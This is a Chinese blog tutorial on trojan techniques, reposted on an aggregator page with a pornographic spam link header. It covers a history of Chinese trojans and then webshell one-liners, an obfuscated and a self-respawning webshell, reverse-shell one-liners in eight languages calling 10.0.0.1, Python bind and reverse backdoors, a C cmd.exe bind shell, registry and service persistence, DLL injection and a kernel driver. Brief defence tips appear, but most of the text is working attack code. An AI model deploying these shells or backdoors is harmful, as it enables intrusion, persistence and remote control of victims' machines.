日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當(dāng)前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

木马技术

發(fā)布時間:2023/12/14 编程问答 47 豆豆
生活随笔 收集整理的這篇文章主要介紹了 木马技术 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

本文參考老書《木馬技術(shù)揭秘與防御》

?

#0x00 國內(nèi)木馬歷史

? ? 97年時,網(wǎng)絡(luò)尚未在國內(nèi)普及,木馬是當(dāng)時少數(shù)人手里的高科技,那時的木馬主要來自國外的BO和SubSeven,直到國產(chǎn)木馬冰河出現(xiàn)

才標(biāo)志國內(nèi)用戶迎來網(wǎng)絡(luò)木馬混沌時代。00年用戶對電腦防護意識毫無概念,防火墻又仍在探索和發(fā)展,使得冰河木馬極其容易滲透進毫

無防備的電腦,許多人也就靠冰河入了門。這個時代的木馬缺乏自我保護,很容易在啟動項中發(fā)現(xiàn)查殺。

?

? ? 隨著防火墻的誕生,NAT和端口過濾讓冰河木馬一夜間突然失效。這是因為就算電腦中了冰河,也因為局域網(wǎng)技術(shù)和NAT轉(zhuǎn)換使得外網(wǎng)主機無

法用通過IP找到肉雞。網(wǎng)吧就是一個明顯的例子。其次防火墻端口過濾會讓木馬開啟的非常見服務(wù)的端口被阻擋。

?

? ? 經(jīng)過一段時間的沉寂后,一種新型木馬概念被提出: 反彈木馬,肉雞和控制機角色互換,變成控制機主動開端口,肉雞反向連接控制端,這樣

一方面不需要知道肉雞IP地址,另一方面不需要主動開啟端口,成功的將NAT技術(shù)和端口過濾技術(shù)繞過,采用此概念的木馬: 網(wǎng)絡(luò)神偷, 該木馬用于

盜取電腦文件。

?

?? 反彈木馬雖然好,但是需要控制機的公網(wǎng)IP固定,一般服務(wù)器地址都寫死在木馬上了,但是黑客的控制機為了避免被跟蹤都不會使用固定的公網(wǎng)IP

針對這個問題,可用動態(tài)域名技術(shù)解決,木馬反彈的地址是固定的域名,而這個域名映射的IP卻是可以變化的,也就是DDNS。典例:灰鴿子

?

?? 一時間,反彈木馬的出現(xiàn)把防火墻打的慘不忍睹,一波未平一波又起,03年出現(xiàn)了頭疼系列: 廣外女生,廣外男生,廣外幽靈,這三個木馬都使用

了當(dāng)時頗感新鮮的技術(shù):遠程線程注射。做到了真正意義上的無進程,具體原理下面會說,大體上就是往系統(tǒng)進程里注射木馬句柄運行。隱蔽性大幅

提升。查殺需要用戶掌握一定的電腦知識。

?

?? 再說說木馬界占了一半江山且歷史悠久的網(wǎng)頁木馬,早期網(wǎng)頁木馬主要針對瀏覽器漏洞實現(xiàn)自動下載和自動運行木馬實現(xiàn)感染手段,原理主要是通過

構(gòu)造畸形語句讓瀏覽器緩沖器溢出,用戶在瀏覽網(wǎng)頁的時候不知不覺就已經(jīng)中了木馬,讓人防不勝防。當(dāng)今后端語言的崛起使得webshell的概念也萌生

主要是后端語言即可以執(zhí)行系統(tǒng)命令,又可以接收用戶參數(shù),一句話木馬也就火了起來。

?

?? 當(dāng)今,隨著各種安全衛(wèi)士和殺毒軟件的發(fā)展,老一代的木馬基本被淘汰。隨著魔高一尺道高一丈的PK,交戰(zhàn)平臺轉(zhuǎn)移到系統(tǒng)內(nèi)核層,這一層擁有至高

無上的權(quán)限,一旦木馬進入這一層,所有的殺毒軟件統(tǒng)統(tǒng)都將成為木馬的傀儡。如今人們的安全意識也因為病毒帶來的損失而提高起來,但安全的步伐

將永遠走下去,近兩年甚至出現(xiàn) `硬件漏洞`,帶來的影響直接導(dǎo)致性能下降。所以沒有絕對安全的系統(tǒng)。

?

# 0x01 webshell木馬

1. webshell這類木馬,基于Http,不需寫底層通信socket,只關(guān)注用戶傳入?yún)?shù)和執(zhí)行系統(tǒng)命令即可,下面是不同語言的一句話木馬

php一句話木馬

#原理: 把用戶傳遞過來的post請求內(nèi)容用eval轉(zhuǎn)成代碼執(zhí)行 <?php @eval($_POST['x'])?>

?

asp一句話木馬

<!-- 原理與php差不多 --> <%execute request("value")%> <%eval request("value")%>

?

aspx一句話木馬

<%@ Page Language="Jscript"%> <%eval(Request.Item["value"])%>

?

jsp一句話木馬

//沒學(xué)過java,jsp可能缺乏eval函數(shù),需先把代碼寫到j(luò)sp文件,再訪問該文件執(zhí)行code// jsp代碼寫入器后端 <% if(request.getParameter("f")!=null)(new java.io.FileOutputStream(application.getRealPath("\")+request.getParameter("f"))).write(request.getParameter("t").getBytes()); %> // jsp代碼寫入器前端 <form name=get method=post> Server Addrress: <input name=url size=110 type=text><br><br> <textarea name=t rows=20 cols=120>java code</textarea><br> Save Filename: <input name=f size=30 value=shell.jsp> <input type=button οnclick="javascript:get.action=document.get.url.value;get.submit()" value=submit> </form>

?

2. 一句話木馬雖然短小精悍,但是網(wǎng)絡(luò)安全狗都能很輕易嗅探到這些包含特征代碼的木馬文件,因此一句話木馬也出現(xiàn)了奇奇怪怪的變形。下面只舉例一些比較有意思的

簡潔的變形馬

<?php @$_=$_GET[1].@$_($_GET[2])?>

利用方式: http://xxx.com/a.php?1=assert&2=phpinfo();

原理: $_是一個變量,該變量保存 $_GET[1]參數(shù)的值,點是php字符串連接符,后一段拼接后就變成 @$_GET[1]($_GET[2]);

這樣如果$_GET[1]是assert的話,$_GET[2]就可以放php代碼,也就變成 @assert("phpinfo()");

?

不死馬

<?phpset_time_limit(0);ignore_user_abort(true);$file = 'demo.php';$shell = '<?php eval($_GET[1]);?>';while(1){file_put_contents($file, $shell);system("chmod 777 demo.php");usleep(50);} ?>

一旦訪問執(zhí)行上面的代碼,就會產(chǎn)生demo.php不死木馬,就算這個代碼被關(guān)閉,也會一直產(chǎn)生刪不掉的木馬,唯一解決辦法就算重啟,很惡心

ignore_user_abort 使得頁面就算被關(guān)閉,腳本依然執(zhí)行,set_time_limit設(shè)置腳本運行時間,如果設(shè)置成0,腳本將永久執(zhí)行,夠惡心吧

?

畸形木馬還有很多,大家可以去網(wǎng)上搜,這里就不繼續(xù)列舉了。

?

3. 當(dāng)我們拿到webshell一般執(zhí)行的權(quán)限都是web用戶權(quán)限,所以下一步就是借助webshell進行提權(quán),提權(quán)離不開反彈shell,因為webshell屬于那種一次性shell

就是執(zhí)行一條命令就斷開連接,并非持續(xù)的shell,這不利于提權(quán),為了建立持久shell,我們可使用執(zhí)行命令來反彈shell,下面是各種語言的反彈shell的代碼

bash

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

?


perl

perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

?


python

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


php

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'


ruby

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'


nc

nc -e /bin/sh 10.0.0.1 1234 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f


java

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()


lua

lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"


php

$sock = fsockopen($ip, $port); $descriptorspec = array(0 => $sock,1 => $sock,2 => $sock ); $process = proc_open('/bin/sh', $descriptorspec, $pipes); proc_close($process);

?

補充: 如果拿到的shell沒有命令提示符,可以用 python 開啟命令提示符

?

python -c 'import pty;pty.spawn("/bin/bash")'

?

?

#0x02 可執(zhí)行木馬

webshell木馬不需要關(guān)心底層通信協(xié)議,因為webshell基于HTTP協(xié)議,但可執(zhí)行程序或者腳本木馬需要自己編寫底層的TCP UDP接口。

一般我們要打開一個監(jiān)聽端口接收網(wǎng)絡(luò)數(shù)據(jù)都需要執(zhí)行這幾步: 創(chuàng)建Socket? -> bind端口和地址 -> listen監(jiān)聽 -> accept收到數(shù)據(jù)處理。

因python簡潔性,所以下面是用python編寫服務(wù)器和客戶端例子

python客戶端

#!/usr/bin/python #coding:utf-8import socket import sys socket.setdefaulttimeout(5)s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)host = "www.baidu.com" port = 80 remote_ip = socket.gethostbyname( host )message = "GET / HTTP/1.1\r\n\r\n"s.connect((remote_ip, port)) s.sendall(message)reply = s.recv(4096)print reply

python服務(wù)器

?

#!/usr/bin/python #coding:utf-8import socket import sysHOST = '' PORT = 444s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(10)while 1:conn, addr = s.accept()print "[+] connecting" , addr[0] + ":" , addr[1]conn.send("Welcome to the server. Type something like:""COOKIE,GET,POST and hit <ENTRE>\n")while 1:data = conn.recv(1024)print dataif data == "GET\n":data = "OK, wait a moment\n"if data == "POST\n":data = "I am not a http server\n"if data == "COOKIE\n":data = "a cookie Biscuits??\n"if data:conn.sendall(data)else:breakconn.close() s.close()

?

其實客戶端不用編寫,用nc連接也是可以的,上面只是簡單實現(xiàn)了如何將客戶端的數(shù)據(jù)發(fā)送給服務(wù)端,試想一下,如果我們發(fā)送的數(shù)據(jù)

被當(dāng)做系統(tǒng)命令執(zhí)行,那么木馬豈不是就形成了,并且我們還要實現(xiàn)長久監(jiān)聽服務(wù),長連接,不然用一次就不監(jiān)聽可還行?

python 正向木馬

#!/usr/bin/python #coding:utf-8import socket import sys import commands from thread import *HOST = '' PORT = 854s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(10)def clientthread(conn):conn.send("Welcome demon's backdoor!".center(50,"*") + "\n")while 1:conn.send("Demon_Backdoor# ")data = conn.recv(1024)if data:cmd = data.strip("\n")code,res = commands.getstatusoutput(cmd)if code == 0 :conn.sendall(res+"\n")else:print "[-]Error: code",codedata = ""else:breakconn.close()while 1:conn, addr = s.accept()print "[+] connecting" , addr[0] + ":" , addr[1]start_new_thread(clientthread, (conn,))s.close()

?

python 反彈木馬

#!/usr/bin/python #coding:utf-8import socket import sys import commands from time import sleep from thread import *HOST = "192.168.10.24" PORT = 444def clientthread(s):global isConnects.send("Welcome demon's backdoor!".center(50,"*") + "\n")while 1:s.send("Demon_Backdoor# ")data = s.recv(1024)if data :cmd = data.strip("\n")code,res = commands.getstatusoutput(cmd)if code == 0 :s.sendall(res+"\n")else:print "[-]Error: code",codedata = ""else:breakwhile 1:try:s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((HOST, PORT))print "[+] connecting" , HOST + ":", PORTclientthread(s)#start_new_thread(clientthread, (s,)) s.close()except:sleep(0.5)

?

Mini木馬程序剖析:

原理:

經(jīng)典的木馬原理是在肉雞上開啟端口監(jiān)聽服務(wù),如果有客戶端連接進來,就會打開cmd.exe開啟一個shell,并和客戶端建立雙向管道,即客戶端能遠程操控cmd.exe

代碼:

GetEnvironmentVariable("COMSPEC", szCMDPath, sizeof(szCMDPath)); WSAStartup(0x0202, &WSADa); Ssock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); SockAddr.sin_family = AF_INET; SockAddr.sin_addr.s_addr = INADDR_ANY SockAddr.sin_port = htons(999); bind(Ssock, (sockaddr*)&SockAddr, sizeof(sockaddr)); listen(Ssock, 1); iAddrSize = sizeof(SockAddr); Csock = accept(Ssock, (sockaddr*)&SockAddr, &iAddrSize); StartupInfo.hStdInput = StartupInfo.hStdOutput = StartupInfo.hStdError = (HANDLE)Csock; CreateProcess(NULL, szCMDPath, NULL, NULL, TRUE, 0, NULL, NULL, &StartupInfo, &ProcessInfo);

這個代碼段是Mini木馬中的核心一段,完整代碼在這里

分析:

首先獲取cmd.exe程序的路徑,保存到szCMDPath變量中。

創(chuàng)建windows socket, 版本號選擇2.2, 0x0202等價于 MAKEWORD(2,2),起名為Ssock

配置服務(wù)端Socket,設(shè)置協(xié)議棧,監(jiān)聽地址,監(jiān)聽端口,配置保存在變量SockAddr中

Ssock 套接字和 SockAddr配置進行綁定,然后通過listen函數(shù)開啟監(jiān)聽,這樣服務(wù)端就啟動服務(wù)了

accpet函數(shù)可以接收客戶端的連接,如果沒有連接會一直阻塞監(jiān)聽,有連接會返回客戶端的接口Csock,里面有客戶端連接的IP和端口號

StartupInfo是關(guān)于窗體程序的相關(guān)配置,這里將窗體的輸入輸出設(shè)置成客戶端接口句柄,這樣客戶端就可以寫入和讀取窗體的數(shù)據(jù)了。

最后創(chuàng)建一個進程運行cmd.exe,并且將上面的Startupinfo的配置應(yīng)用于該進程當(dāng)中,然后客戶端就可以發(fā)送cmd命令進行控制。

防范:

對于這類會在肉雞上主動開啟端口監(jiān)聽的一般都會被防火墻攔截,只要開啟防火墻就行。

?

注冊表修改技術(shù):

原理:

Windows的注冊表能實現(xiàn)很多功能,對于木馬來說,修改注冊表可實現(xiàn): 開機自啟木馬,關(guān)閉殺軟,開啟3389,破壞系統(tǒng)等等操作

而win32 API提供了一套對注冊表的讀寫操作。下面簡單介紹一下該API

代碼:

HKEY hKey; TCHAR keyValue[128]; char subkey[] = "HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0"; char keynameR[] = "ProcessorNameString"; char keynameW[] = "HackerName"; char keynameD[] = "WillBeDeleted";DWORD dwDisposition = REG_OPENED_EXISTING_KEY;//讀注冊表 RegOpenKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, KEY_QUERY_VALUE, &hKey); RegQueryValueEx(hKey, keynameR, NULL, NULL, (LPBYTE)keyValue, &dwSize); RegCloseKey(hKey); printf("%s\n", keyValue);//寫注冊表 RegCreateKeyEx(HKEY_LOCAL_MACHINE, subkey, 0, NULL,REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &hKey, &dwDisposition); RegSetValueEx(hKey, keyNameW, 0, REG_SZ, (BYTE*)"demon", dwSize); RegCloseKey(hKey);//刪注冊表 RegOpenKeyEx(hRootKey, subKey, 0, KEY_ALL_ACCESS, &hKey); RegDeleteValue(hKey, keyNameD); RegCloseKey(hKey);

分析:

這段代碼演示了注冊表的讀寫和刪除,還有很多API這里沒有列舉到,大家可以參考MSDN

要對注冊表讀寫操作前,都需要先打開注冊表,打開注冊表可以通過 RegOpenKeyEx 和 RegCreateKeyEx 這兩個函數(shù),需要指明根鍵和子健,根鍵包含下面5個

HKEY_CLASSES_ROOTHKEY_CURRENT_USERHKEY_LOCAL_MACHINEHKEY_USERSHKEY_CURRENT_CONFIG

如果鍵值不存在,RegCreateKeyEx函數(shù)則會創(chuàng)建該鍵值。打開注冊表句柄時還需要指明權(quán)限,這里給 KEY_ALL_ACCESS 表示句柄擁有所有權(quán)限。其他權(quán)限其參考 MSDN

防范:

有了注冊表的讀寫操作,那么 木馬程序一般會利用注冊表實現(xiàn)開機自啟動,下面是注冊表里常見的加載點

注冊表加載點: [HEKY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon]中 userinit 鍵用逗號分割添加程序路徑,即可隨系統(tǒng)啟動而啟動* [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Run] [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Policies\Explorer\Run] #Run 自己創(chuàng) [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Winlogon\CurrentVersion\Run] 添加 REG_SZ 類型的鍵值 即可,名稱隨便,值為程序路徑* 更深的加載點: [HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\load] [HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] shell字符串類型鍵值中,默認為 Explorer.exe 以木馬參數(shù)形式調(diào)用資源管理器 [HKEY_LOCAL_MACHINE\System\ControlSet001\Session Manager] BootExecute 多字符串鍵值,默認為: "autocheck autochk *" 用于系統(tǒng)啟動自檢,在圖形界面前運行優(yōu)先級高

針對上面的加載點,我們可以去檢查這些位置,如果發(fā)現(xiàn)異常的程序,對其刪除查殺即可。

?

服務(wù)注冊技術(shù):

原理:

服務(wù)是執(zhí)行指定的系統(tǒng)功能,進程等,以便支持其他程序。服務(wù)是一種特殊的應(yīng)用程序,可被SCM(服務(wù)管理控制器)進行操控。

如果服務(wù)設(shè)置成自動,那么隨著系統(tǒng)的啟動也會被啟動,啟動后會一直在后臺運行,類似linux的守護進程,因此木馬程序也可以

將自己注冊成服務(wù),悄悄的在系統(tǒng)當(dāng)中被當(dāng)作服務(wù)一直運行。

代碼:

[SCM code]char serviceName[] = "YourServiceName"; SC_HANDLE schSCManager; SC_HANDLE schService; SERVICE_STATUS status; schSCManager = schSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS); schService = OpenService(schSCManager, serviceName, SERVICE_ALL_ACCESS); //改變服務(wù)自啟方式 ChangeServiceConfig(schService, //handleSERVICE_NO_CHANGE, //service typeSERVICE_AUTO_START, //service start typeSERVICE_NO_CHANGE, //error controlNULL, //binary pathNULL, //load order groupNULL, //tag IDNULL, //dependenciesNULL, //account nameNULL, //passwordNULL, //display name );//改變服務(wù)的描述信息 SERVICE_DESCRIPTION sd; LPCTSTR szDesc = TEXT("This is new description"); sd.lpDescription = szDesc; ChangeServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, &sd);//控制服務(wù)運行狀態(tài) StartServiceA(schService, NULL, NULL); ControlService(schService, SERVICE_CONTROL_STOP, &status); ControlService(schService, SERVICE_CONTROL_PAUSE, &status); ControlService(schService, SERVICE_CONTROL_CONTINUE, &status);//查詢服務(wù)配置信息 DWORD dwBytesNeeded, cbBufSize,;LPQUERY_SERVICE_CONFIG lpsc; QueryServiceConfig(schService, NULL, 0, &dwBytesNeeded); cbBufSize = dwBytesNeeded; lpsc = (LPQUERY_SERVICE_CONFIG)LocalAlloc(LMEM_FIXED, cbBufSize); QueryServiceConfig(schService, lpsc, cbBufSize, &dwBytesNeeded);LPSERVICE_DESCRIPTION lpsd; QueryServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, NULL, 0, &dwBytesNeeded); cbBufSize = dwBytesNeeded; lpsd = (LPSERVICE_DESCRIPTION)LocalAlloc(LMEM_FIXED, cbBufSize); QueryServiceConfig2(schService, SERVICE_CONFIG_DESCRIPTION, (LPBYTE)lpsd, cbBufSize, &dwBytesNeeded);printf(" Type: 0x%x\n", lpsc->dwServiceType); printf(" Start Type: 0x%x\n", lpsc->dwStartType); printf(" Binary Path: %s\n", lpsc->lpBinaryPathName); printf(" Account: %s\n", lpsc->lpServiceStartName); printf(" Description: %s\n", lpsd->lpDescription); printf(" Dependencies: %s\n", lpsc->lpDependencies);

分析:

這段代碼是通過SCM接口對指定的服務(wù)進行:修改配置,啟動關(guān)閉,設(shè)置自啟,顯示信息等相關(guān)操作

通過 schSCManager 打開 SCM, 再利用 OpenService 打開Services, 并給予對服務(wù)所有操作權(quán)限: SERVICE_ALL_ACCESS;

ChangeServiceConfig 可以修改服務(wù)的配置信息,比如設(shè)置啟動方式,服務(wù)類型,顯示名稱等

ChangeServiceConfig2 可以修改服務(wù)的描述信息

StartServiceA 可以打開服務(wù),而停止,暫停,繼續(xù)操作可以通過ControlService 函數(shù)操作

QueryServiceConfig 可以查詢服務(wù)配置信息,但是查詢前需要先利用該函數(shù)查詢結(jié)構(gòu)體長度 dwBytesNeeded 來分配給 lpsc 足夠的空間

QueryServiceConfig2 可以查詢服務(wù)的描述信息,和上面一樣需要先查詢分配空間的大小。

代碼:

//注冊服務(wù) LPCTSTR lpszBinaryPathName; char strDir[1024], chSysPath[1024]; SC_HANDLE schSCManager, schService; SERVICE_STATUS status;strcpy(lpszBinaryPathName, "/path/to/exefile") schSCManager = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);schService = CreateService(schSCManager,"ServiceName","ServiceName", SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, lpszBinaryPathName, NULL, NULL, NULL, NULL, NULL);if (schService) printf("Install service success!!\n");//刪除服務(wù) schSCManager = OpenSCManager(NULL,NULL, SC_MANAGER_CREATE_SERVICE); schService = OpenService(schSCManager, "ServiceName", SERVICE_ALL_ACCESS|DELETE); QueryServiceStatus(schService, &status);if( status.dwCurrentState != SERVICE_STOPPED )ControlService(schService, SERVICE_CONTROL_STOP, &status); Sleep(500); DeleteService(schService);CloseServiceHandle(schSCManager);

分析:

通過上面的代碼,木馬程序可以將自己注冊成系統(tǒng)服務(wù),并且設(shè)置自動運行實現(xiàn)開機自啟。

防范:

可通過枚舉所有服務(wù),然后查看服務(wù)對應(yīng)的執(zhí)行文件,也就是上面注冊代碼的 lpszBinaryPathName 變量值,對其進行查殺即可

?

?

進程注射技術(shù):

原理:

什么是進程? 進程是一個線程擁有自己的代碼空間和運行空間的正在運行的程序,里面包含多個線程。

什么是DLL? 動態(tài)鏈接庫,無法獨立運行,可被執(zhí)行程序加載并調(diào)用

對于windows系統(tǒng),進程之間的內(nèi)存地址是相互隔離的,也就進程之間不可相互訪問對方的地址。

但是windows系統(tǒng)為了能方便的讓兩個程序訪問同一塊內(nèi)存,windows提供了虛擬內(nèi)存來共享解決該問題。

進程注射技術(shù)就是利用DLL木馬在某進程中開辟虛擬空間來運行,但需要提升到Debug模式才有權(quán)限注射進程。

代碼:

// 提權(quán)代碼 HANDLE hToken; TOKEN_PRIVILEGES pTP; LUID uID;OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY,&hToken); LookupPrivilegeValue(NULL,SE_DEBUG_NAME,&uID);pTP.PrivilegeCount = 1; pTP.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; pTP.Privileges[0].Luid = uID;AdjustTokenPrivileges(hToken, FALSE, &pTP,sizeof(TOKEN_PRIVILEGES),NULL,NULL)// 對指定的PID進程注射 DWORD pid = 1433; char dll[] = "c:\\muma.dll"; hRemoteProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid); pszLibFileRemote = (char *)VirtualAllocEx(hRemoteProcess, NULL, lstrlen(dll)+1, MEM_COMMIT, PAGE_READWRITE); WriteProcessMemory(hRemoteProcess, pszLibFileRemote,(void*)dll, lstrlen(dll)+1, NULL); pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32.dll")), "LoadLibraryA"); hRemoteThread = CreateRemoteThread(hRemoteProcess, NULL, 0, pfnStartAddr, pszLibFileRemote, 0, NULL); CloseHandle(hRemoteProcess); CloseHandle(hRemoteThread);

分析:

代碼首先進行debug提權(quán),利用 AdjustTokenPrivileges 函數(shù),傳入配置結(jié)構(gòu)體 pTP ,該結(jié)構(gòu)體指明了 SE_PRIVILEGE_ENABLED; 權(quán)限啟用。

注射進程基本步驟: OpenProcess 打開進程句柄? -> VirtualAllocEx開辟虛擬空間 -> WriteProcessMemory 寫dll路徑到虛擬空間

-> GetProcAddress 搜索LoadLibraryA 函數(shù)地址 -> CreateRemoteThread 在進程上創(chuàng)建新的線程并執(zhí)行 dll 代碼。

?

代碼:

void listAllProcessInfo(){PROCESSENTRY32 lPrs;HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);ZeroMemory(&lPrs, sizeof(lPrs));lPrs.dwSize = sizeof(lPrs);Process32First(hSnap, &lPrs);printf("pid\t\tppid\t\tname\n");printf("-------------------------------------------\n");while(1){printf("%d\t\t%d\t\t%s\n", lPrs.th32ProcessID, lPrs.th32ParentProcessID, lPrs.szExeFile);if(!Process32Next(hSnap, &lPrs)) break;} }

上面這段代碼可以枚舉所有進程先關(guān)信息,包括pid, 和 tastlist 一樣效果

?

?

內(nèi)核Rootkit技術(shù):

原理:

操作系統(tǒng)的存在使得計算機硬件對于應(yīng)用程序變得不可見,若應(yīng)用程序需要訪問硬件資源則需要向內(nèi)核發(fā)送請求。

所以程序運行的模式有兩種,一個是用戶態(tài)Ring3, 一個是內(nèi)核態(tài)Ring0,正常下程序根本沒有機會修改內(nèi)核,但是若

程序運行在內(nèi)核態(tài)既可以訪問系統(tǒng)任何代碼和數(shù)據(jù)了!而應(yīng)用程序想進入內(nèi)核態(tài)也有很多辦法,常用的就是編寫驅(qū)動程序

環(huán)境: 需要安裝 WDK/DDK

代碼:

#include <ntddk.h>VOID Unload(IN PDRIVER_OBJECT DriverObject){}NTSTATUS DriverEntry(IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING UnicodeString){UNICODE_STRING path;UNICODE_STRING name;UNICODE_STRING data;OBJECT_ATTRIBUTES oa;HANDLE myhandle = NULL;RtlInitUnicodeString(&path, L"\\Registry\\Machine\\HARDWARE\\DESCRIPTION\\System\\CentralProcessor\\0");RtlInitUnicodeString(&name, L"demon");RtlInitUnicodeString(&data, L"hello,demon");InitializeObjectAttributes(&oa, &path, OBJ_CASE_INSENSITIVE,NULL, NULL);ZwOpenKey(&myhandle, KEY_WRITE, &oa);ZwSetValueKey(myhandle, &name, 0, REG_SZ, data.Buffer, data.Length);ZwClose(myhandle);DriverObject->DriverUnload = Unload;return STATUS_SUCCESS;}

分析:

上面是驅(qū)動程序,作用是在注冊表上添加一些信息,可以看出Ring3 和 Ring0同樣功能不同一套API

然后通過編寫MAKEFILE 和 SOURCES文件就可以編譯生成 驅(qū)動模塊.sys , 代碼

有了驅(qū)動模塊后,我們還需將驅(qū)動程序注冊服務(wù),這樣下次系統(tǒng)啟動就會啟動這個驅(qū)動。注冊服務(wù)也是用SCM來注冊

但是注冊類型為 SERVICE_KERNEL_DRIVER,表示為系統(tǒng)驅(qū)動,代碼如下:

scm = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);sh = CreateService(scm, "DriverName", "DriverName", SERVICE_ALL_ACCESS, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL, "path/to/yourDrv.sys", NULL, NULL, NULL, NULL, NULL);CloseServiceHandle(scm); CloseServiceHandle(sh);

?防范:

通過 PCHunter 工具可以列出所有的系統(tǒng)驅(qū)動模塊,一般不是windows 或知名產(chǎn)商簽名的驅(qū)動都要可能是惡意驅(qū)動,手動卸載即可

?


管道通訊技術(shù):

原理:

如果是建立普通的C語言socket,則需要創(chuàng)建兩個管道,一個用于讀,一個用于寫,這樣即可實現(xiàn)通信。

如果是用WSASocket創(chuàng)建的,則可以直接將窗體讀寫指向句柄即可。代碼比較簡單。

代碼:

[socket] WSAStartup(MAKEWORD(2,2), &wsa); listenFD = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);server.sin_family = AF_INET; server.sin_port = htons(999); server.sin_addr.s_addr = ADDR_ANY;bind(listenFD, (sockaddr *)&server, sizeof(server)); listen(listenFD, 2); clientFD = accept(listenFD, (sockaddr*)&server, &iAddrSize);CreatePipe(&hReadPipe1, &hWritePipe1, &sa, 0); CreatePipe(&hReadPipe2, &hWritePipe2, &sa, 0);si.hStdInput = hReadPipe2; si.hStdOutput = si.hStdError = hWritePipe1;CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);while(1){PeekNamedPipe(hReadPipe1, Buff, 1024, &lBytesRead, 0, 0);if(lBytesRead){ReadFile(hReadPipe1, Buff, lBytesRead, &lBytesRead, 0);send(clientFD, Buff, lBytesRead, 0);}else{recv(clientFD, Buff, 1024, 0);WriteFile(hWritePipe2, Buff, lBytesRead, &lBytesRead, 0);} }

分析:

這段代碼使用C語言原生API創(chuàng)建一個socket, 并 CreatePipe創(chuàng)建兩個管道,管道一端只能讀,另一端只能寫

CreateProcess 創(chuàng)建一個cmd.exe的進程,這個進程的標(biāo)準輸出定向到管道1,輸入從管道2獲取。

while死循環(huán)用戶監(jiān)聽管道1的數(shù)據(jù),也就是cmd.exe發(fā)出的數(shù)據(jù),一旦監(jiān)聽到就發(fā)送給客戶端。

另外,客戶端一旦接受到數(shù)據(jù),就會寫入到管道2,這樣cmd.exe就能從管道2讀取到數(shù)據(jù),雙向管道建立完成。

代碼:

[WSASocket] WSAStartup(MAKEWORD(2,2), &wsa); listenFD = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);server.sin_family = AF_INET; server.sin_port = htons(999); server.sin_addr.s_addr = ADDR_ANY;bind(listenFD, (sockaddr *)&server, sizeof(server)); listen(listenFD, 2); clientFD = accept(listenFD, (sockaddr*)&server, &iAddrSize);si.hStdInput = si.hStdOutput = si.hStdError = clientFD; CreateProcess(NULL, "cmd.exe", NULL, NULL, 1, 0, NULL, NULL, &si, &ProcessInformation);

?

分析:

使用Win32 API的WSASocket創(chuàng)建的socket可以直接對其句柄讀寫操作,大大節(jié)省了代碼,就不需要創(chuàng)建

兩個管道來通信了。

?

反彈木馬技術(shù):

原理:

黑客攻擊機開啟端口監(jiān)聽,肉雞主動反向連接黑客的IP,這樣做可以繞過防火墻的攔截,畢竟是肉雞主動向外發(fā)送請求

代碼:

